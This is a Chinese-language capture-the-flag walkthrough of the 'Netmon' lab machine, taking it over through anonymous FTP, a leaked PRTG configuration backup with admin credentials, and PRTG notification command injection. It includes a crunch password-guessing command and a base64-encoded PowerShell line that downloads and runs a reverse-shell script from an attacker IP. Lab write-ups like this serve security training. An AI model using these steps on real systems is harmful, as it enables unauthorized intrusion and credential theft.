Netmon-Writeup

前言

Author: 0x584A

46232665.png

  • nmap
  • ftp anonymous
  • PRTG Network Monitor command inject
  • psexec

信息收集

老规矩,nmap开启局…

57098045.png

可以看的ftp端口是开放的,nmap脚本扫一下存在未授权访问,成功在/Users/Public目录下拿到 user flag

47110902.png

80端口则运行着一个 PRTG Network Monitor

PRTG 全称Paessler Router Traffic Grapher,是德国Paessler软件公司开发的一套监控软件,用于监控各种IT硬件系统,包括交换机、路由器、防火墙、服务器等设备,通过SNMP协议、WMI等来进行监控,包括CPU、内存、接口流量、PING等。

get root flag

应用程序安装在 "Program Files (x86)\PRTG Network Monitor"

63170881.png

在 ftp 中翻目录,它是直接映射了 C:\ 目录,因为权限问题系统目录无法直接浏览。dir -a 多了一个为 ProgramData 的文件夹。

49836259.png

里面的 Paessler 文件夹中又存在一个 PRTG Network Monitor 文件夹,该目录就是 PRTG 的数据目录。具体目录对应说明见:https://www.paessler.com/manuals/prtg/data_storage

49925119.png

留意到存 .old.bak 带备份后缀的文件,直接下载它,并搜索 password 可以看到存在一个被注释的用户名及密码。

wget ftp://10.10.10.152/ProgramData/Paessler/PRTG%20Network%20Monitor/PRTG%20Configuration.old.bak

50756438.png

user: prtgadmin
pwd: PrTg@dmin2018

直接使用这组密码是登录不了的,注意到带 .bak 的文件显示时间为 2018,而不带的是 2019。尝试数字加一成功登录。

可以使用字典生成器辅助,进行暴力破解:crunch 13 13 -t PrTg@dmin%%%% -l aaaa@aaaaaaaa -s PrTg@dmin2015 -c 21

51418887.png

在 google 搜索到一篇关于命令注入的文章: https://www.codewatch.org/blog/?p=453 , 尝试复现。

依次点击 setup -> Account Settings -> add new notification,在 Execute Program 中尝试反弹shell。

54013943.png

发现无法执行,怀疑是特殊字符被转码了,尝试base64一下在执行。

$ echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.14.7/Invoke-PowerShellTcp.ps1')" | iconv -t UTF-16LE | base64 -w0

64362700.png

其他方法

可以通过命名注入先增加用户名,并提升管理员权限。

55538540.png

因为 445 开放,直接用 psexec 访问目标主机,得到一个交互shell。

55632926.png